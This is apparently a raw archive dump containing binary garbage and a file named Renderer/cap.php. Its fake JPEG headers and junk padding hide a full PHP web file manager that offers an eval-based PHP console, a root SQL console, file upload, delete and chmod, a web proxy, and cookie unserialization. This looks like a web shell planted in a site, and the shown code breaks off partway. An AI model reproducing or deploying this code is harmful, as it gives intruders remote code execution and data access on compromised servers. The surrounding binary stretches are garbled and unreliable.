@+6|F7j(IQ=.9ɲ$xB)O\M[ոF`0&qJpvGج$93\ϴsf̶[K$٘m${`'m=N;zߟNhwS!S
mZSFjaKj[+n8l;vt(&i-1:`]6G9d	OMGVl;\w2גVsRhyiƭSD;M[iML}Rq
76WXo5:ءjW.wԱ=U&
d1)2ܭiˮSwii{6JiUS2b3D\yk/츱)AhQ$⍧V^%;=?^_θvw/4.ao*'w$ 0|h/ȅwiSa9~ũzBzVUn%m+^%˞'[= ͺ@W"I^g?;XUb#<D#p:&@[ԯ~B$a>~p;}(|5W]L%Q㏇C\$X&N&s}[%(F<#u^~"N,x-P$@9S;Z!B8*CF$j	CWCg"EY&w͡ڌ8ƵMx?SeiTè%Na*t#(G)v\~`DPs-BM#15O^LO
,}I^Ɵ
iNRѸӛTsUf%(*A'
[h ;YAUDXJ1[+'9Z HDt[Bg/#%FIt3h<2Dhcy.ߊ`GgΈVhͿCw7X '|z߸6t%ͲX,8~?p
  @K!ڗ[FZKx
=,)ԏ8X*)N(Z{ΉQN
3i3,):-5K(-hO(fG==~4lRKwt zo`;]b%}%B*hc(}%fyYb$`Imo5-W9$n@9XN\m/pؑz\=%QVL^}eywnmql5{SJd_
kvm|77(8$\Q`E|KL!Jb0-9킮Q<4I7vL"*?L7Fu1p	*0{pH?@S* I#
2C.<)ӛ>u2;pNƩ}}!/́HĒwGNSPC
TԮ38CCY
6M7u1}a
M/wbԻw\dq}oh!z55`Fdа>7v(zF9f<r?>ohH o[G'YG"D"d"m_ꌙ.wEs`n,Gd  1G Ho"7E!Q.MSE_mN噾27P	H轎$vPIJ_(ڗMƺ؛V6HRKK(F3w>?oPD6`q%LQw/qd2G~$f3<z\~.G:VW lSB`.j,>emRq`VCr?<fL0& ˽&ᘘ264'>M
f#x_+a")@@9v0F\Q<z`#hܝ*P}(>ׄB mWR?2f0Mܑ0,h!Pe~$
ZXrF$fȉL~KfdlDL7\΀[󣸣4!0ྯ5:V7Db4|$"K4p8Ό&T{Erl/N택ć䇆(>#瀅@ehP3=dǂ)sD;sX'X̃
ӗh9pi-]u/S=Z;xr^^߁Z	~M.g~F%+o$9(/+R(`LD8/g0$Y]nPx%\k]
0"_1:ִ^:镴;Leyҙzbjh^D@6]"{0oH#}0'p`"|r85h-.\=ΈjzCk1W0rru<xf}piq%eO-Дem G3娤 Н$*h۞.,A?9	<\N]:"Clz;qnTPjIphu0Ka0 XȲO uϗ8YV#&#TK_?(,EW!t+r6fCքMf	DBxMYkNucLI`w8ٜD(W.WĮ`zpZmp[of?=*W,l|3Fk!(h{SOI6-wcÝ!PN94°
)>0uH'$- Dyb<.U \~E0X8q<fY#u-^/抠m{J{J
tzUz[QFڎm3S@i_KC
W;ۋW$ԍ.o$L'X5Qe|g8zUY0^+Kaݠ+$yvӒpYlQd8H .Xvj	Lnݕ!)t:&J@ޓo =:C~ )\_kʗhWM]ڤ#ӊ.VIlO]Ip>T}tG?zvS Q~sj {]@G*ꎷEZ^9",hIY3o. &7㐒qqqUQ/E'J-=c{	еY>Ǻi`:.{'Hui\sqaVve:>tGt_3Yx_-.FNT *	llN3￻$Fnխ	3	COF'/}L[KB(t88Uc`Qe`S|b;nXI!;)KvI^D9~omZBM0]{5oF#_)tWPGKrD]?{݀lwm(A"u簾9:ס\AZ<gVhb4A2eIҴK|qo9-'˛,<m2ZYPoߔrcT2c|ߺ0PHz+]JUOtRT` >|` vhC@`AѧOwätYw@x=>517hap(@Z~!>6ŏ݁&&3{ޜWOLV9u{ C[,3&c׹fyUp `L੆ފ`r8{F^1̔+M,N.g>>34>g?Νzٹev}am,63a%Dө1 rrtO,c6!HV@MC˰3j$M猿B-ǀnq?IFid-Eu܌lhe.ΑN$>:^x+矯
CN1#W̆?dhxI;wxKOhu*g*Hr;XrOlp94Դ,C#TWEH 
%ؚ`ܟus[xR.H-7AxeIC&=\"[	{\]-Zi+C26+{-[Z}UHkC30`p؈^A-	1mF}}FP*\`u	1D4|PdY!Yq)-"k~HC ^+<ZSUƗGQ2q?eBŏP 7%=>PzCgVXK6_85;%=%4&3p2i6IJmk"FrlJ0g'2M)Ss
=C!%ۨP/qFjF6'e"\ŇM]m.^wpݭ˅~lJ:_Bs j@ut	SXwdϩߠ86hTj@.(~yYKH=PK)`Nq߻eoa25̖SM=+5?qh+X6@9藈Ss=US#|0׷|ǐT;&qQ;:W\LrTT<Ik%bC]D/wG;&PyYnQS	\	`ԱgGk}]A/wr:7UUuXρ)2co!Oa:㍹XȴENl+,֩`\v<'L2VfD9@-OV9i]U(E5r?.ޫpD_qSۏ Y=ߏ@6pVq4C}Q$|󫪦8kK)J62$02.XSnȝttG"P6_LgMvN~D'=ec-i@6jhC,;z`LPqO~ƄLnZM"Yz폑b0P^ԇH}i\!)!-9&8T&,,`ԧN`x3O!em{{
H+-W8DGMD((wc@}БЩD2c@F7hrRk3㓋+$֜AvY+.IbXJ	8u=r_@k1N]crF08}s0\7`?3РP:>)F?uvbRV`287Ȩ؆wkQ2^#75 =FKëOLOx)WX߽FWO.C ^)VP4Y_%~(
*
~#vRƹ9{yG]5K;_pv얚Uۥ` 溈]qMeN݌rf틤{F^Z\G,xo˷1IdU	I3kr]_$z>`m`U%#i:at
#gPӘSJ{#<	aDi̍vɇ1
v7jzDwR*c"
+ѴC}?a>,¤l6sy޹]LVUϯxn;6ڹlt|Ky;$cˋ+[SƤ}U`mE*IMָ))@.\C)(L+p$ z3H-˞?dEmAna⬂1nUf0J[O$?xE^X 9`ȫc줌R\p?҈N%>JGPN2C~wlcNY"u۔T7&Wӛ ѣH4R;?< [kڽz	zk.$Gowf7󁞋˲U,VS ~Ro'0?So `]& @@/duCnwy8ZZj(bs7\)X,s?u+ L@KlA0CEÆ@w+/6}	Xa#!R((ɛQmܘjԿ_=qxf. kTx˳AyWGL
s f,;Xt//"::u@oNCNȩ9gtHѦb;BؐH#	5*VG	`Y"#QG"FHhw؏ @sY`pkAU(ϡcCTQrb{~~-AA4Q	w<010eʫ(q6m@]?XtaTTT<i΀
#VwWT7O \"hLB~p!{xR0z/Tm\"5ɞxN	Cb؄dHj>(ovhfI,>294c_/B_vbua2sQrZmt}Gxìcj.	$YVͫ*/5̰ɩ~#)ޚb]R>Qs}i	"wK/xbW1t|.!>lWnc~1fuT=ۘQ_"\D7Z5j3VboޗtQҤN5/f7z:X;M@/%h~ū,/	W=	LC6j"ljsb(߃Flo\nJ8y5j2()gt :wE'/҉;3I[9(N2vm¿'sD^H<x)+yl5,+k~k	BX*
hJ!$(BlBt%*`E Ut{dd.|&jc5e8g(e2&#XZ"|u t|^jLS@,9+|wֱ>[dZ#訖d^ 0 NvФy3NVt=? ZU<ǊyĳcLt=B?bY0O1S9si\k+ʶ|s@=V!S8l4R&0  ,ɍ3[BHl:!_Fb19O_
,0ыÑ;^;eWCݜO+K^Φ'3U=Y=+!ehR4dg`5Xb|x
k{o~CwRʭcaj!Ԟ΃T[;ȍxBcu02t0@q'&~o8fY0tL!)\@k.)amZ)\xu}$;k2C4=Z ȹO8]H@U7AONu.
(3HRGkE*"[YU^c0YX+HvѤ#9O d@1=b.}$$Om4k ~/֡;w{;F8fc*9XQcu*|`Mp5݇MӖR؆awBQUP܅k} u|tb}v!Ûy
iLP8:OhأoZ4UP4##|pd[t;^|#G  U$YS.^!EW}uFuw$Ag8kQ&5p3fabHv\Npu|N\jAtMUtrz}6@=1VlL#ïÁ[xg4SF4ReP5Z!$k#<x?^6kȤ93Z꯫&h%4%
FU]~,/d '}/F;FL_&R +IǺk/<k橩sfi[jnκn[wUTmm2mJtcWĶ>Ά>Hx}tCGee2)B*Cr
dB0%%EWEǡC%uq`J|^Vx}
ZD"{n,B1{W
MlY|Kz)Y.:yg
ʋȃOCE^GGTb!8xr7,',/q+47Qd"-cAEQk)#g.6jOĄX<sCaVÌ$23#IF`@uKZ!fU4^{fWq0V1kEg!.U$J]:eW tJL[EH߽.O3?@|.C=*`QPE2<Nbp,6\8;lfX͂b<20!=d&Jr!	Q?|*n7E6Vlma\=?e&M).xpZ̵paAqX>W&40fC ƭH"uFԘj,__-"+D>=
X؉meE(jjE	f6c7M)y같51aE kVA:c2! `tErL.**x3+XrOPu<p=V't +=WU/Ϡh(p!Uz/CH5ƆtkAnޫC<efqp,nPciBm=b.Yxe!ѩ|rۜρԄ]$.O4FhrLw{>杇ߣ| 8Dzܻ}"6_m!RGtL&xp+^ŮQE3PgfX`TGs6͗ƥ"s P?ub{=F|h%	kM;o;0waէw>=}Ѝ'{ V{@{TJk}pyAiEfqm1SO> vwNVL}!5}Zbk^NܭqI4ΞX?Ϸo?~|/ \                                                                                                                                                                                                                                                                            Renderer/cap.php                                                                                    0000644                 00000234451 15217306007 0007600 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
